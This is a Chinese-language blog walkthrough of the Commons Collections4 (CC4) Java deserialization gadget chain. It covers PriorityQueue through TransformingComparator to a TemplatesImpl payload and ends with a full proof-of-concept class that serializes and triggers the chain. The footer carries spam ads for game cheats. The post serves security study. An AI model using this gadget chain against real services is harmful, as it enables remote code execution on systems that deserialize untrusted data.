CommonsCollections4利用链分析
创始人
2024-03-17 07:38:37
0

目录

前言:

0x01 代码分析

总结一下利用链:

POC:

完整的POC:


图 1-1 cc利用链

 

前言:

CC4这条链用到了新的Commons-Collections4这个依赖,由于这个依赖与之前的版本具有较大的出入,连groupId和artifactId都变了,前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。因此算是更新换代了。

commons-collectionscommons-collections3.2.1

org.apache.commonscommons-collections44.0

        但是在某种程度上还是换汤不换药,链的最后还是用了 Transform 类对象的 transform()方法直接去执行代码,或者是CC3的利用 TemplatesImpl 类去实现类加载执行任意代码。

0x01 代码分析


        由于我们还是在CC库里面去触发反序列化,所以还是找哪里调用了transform()方法,这里找到了 TransformingComparator 类的 compare()方法:

public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}

可以看到这里调用了传入的 transformer对象的 transform()方法,然后往回找哪里调compare()方法,且最好是而直接就是重写了 readObject()方法,能够直接走到compare()方法。最终找到的是 java.util.PriorityQueue 优先队列这个类:

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();
}

  • 可以看到,PriorityQueue 类的 readObject()方法最后调用了 heapify()方法,跟进:
private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

  • 这里接着调用 siftDown()方法,跟进:
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

  • 接着调用了 siftDownUsingComparator()方法,跟进:
private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

到了这里可以看到调用了comparator对象的 compare()方法,并且这里的comparator可以在PriorityQueue 类对象初始化的时候传进去的,因此我们可控,而TransformingComparator类恰恰是实现了Comparator和Serializable接口(而在旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口,导致无法使用这条链),能够作为我们利用的对象。

总结一下利用链:

PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()

  • 后面的部分就是CC1或CC3的写法了,这里以CC3为例,先把TemplatesImpl类对象构造好:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

  • 以及用 InstantiateTransformer类将TrAXFilter初始化,调 TemplatesImpl.newTransformer()方法,触发后续的调用:
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
};Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);

POC:

  • 创建⼀个 TransformingComparator ,传⼊我们的Transformer:
Comparator comparator = new TransformingComparator(transformerChain);

  • 实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是比较时的Comparator,传⼊前⾯实例化的comparator:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。

        最后,将真正的恶意Transformer设置上:

setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC4 {public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fileNmae);field.setAccessible(true);field.set(obj,value);}public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })};ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);setFieldValue(chainedTransformer, "iTransformers", transformers);serialize(priorityQueue);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

相关内容

热门资讯

汽车油箱结构是什么(汽车油箱结... 本篇文章极速百科给大家谈谈汽车油箱结构是什么,以及汽车油箱结构原理图解对应的知识点,希望对各位有所帮...
美国2年期国债收益率上涨15个... 原标题:美国2年期国债收益率上涨15个基点 美国2年期国债收益率上涨15个基...
嵌入式 ADC使用手册完整版 ... 嵌入式 ADC使用手册完整版 (188977万字)💜&#...
重大消息战皇大厅开挂是真的吗... 您好:战皇大厅这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游戏...
盘点十款牵手跑胡子为什么一直... 您好:牵手跑胡子这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游...
senator香烟多少一盒(s... 今天给各位分享senator香烟多少一盒的知识,其中也会对sevebstars香烟进行解释,如果能碰...
终于懂了新荣耀斗牛真的有挂吗... 您好:新荣耀斗牛这款游戏可以开挂,确实是有挂的,需要了解加客服微信8435338】很多玩家在这款游戏...
盘点十款明星麻将到底有没有挂... 您好:明星麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【5848499】很多玩家在这款游戏...
总结文章“新道游棋牌有透视挂吗... 您好:新道游棋牌这款游戏可以开挂,确实是有挂的,需要了解加客服微信【7682267】很多玩家在这款游...
终于懂了手机麻将到底有没有挂... 您好:手机麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【8435338】很多玩家在这款游戏...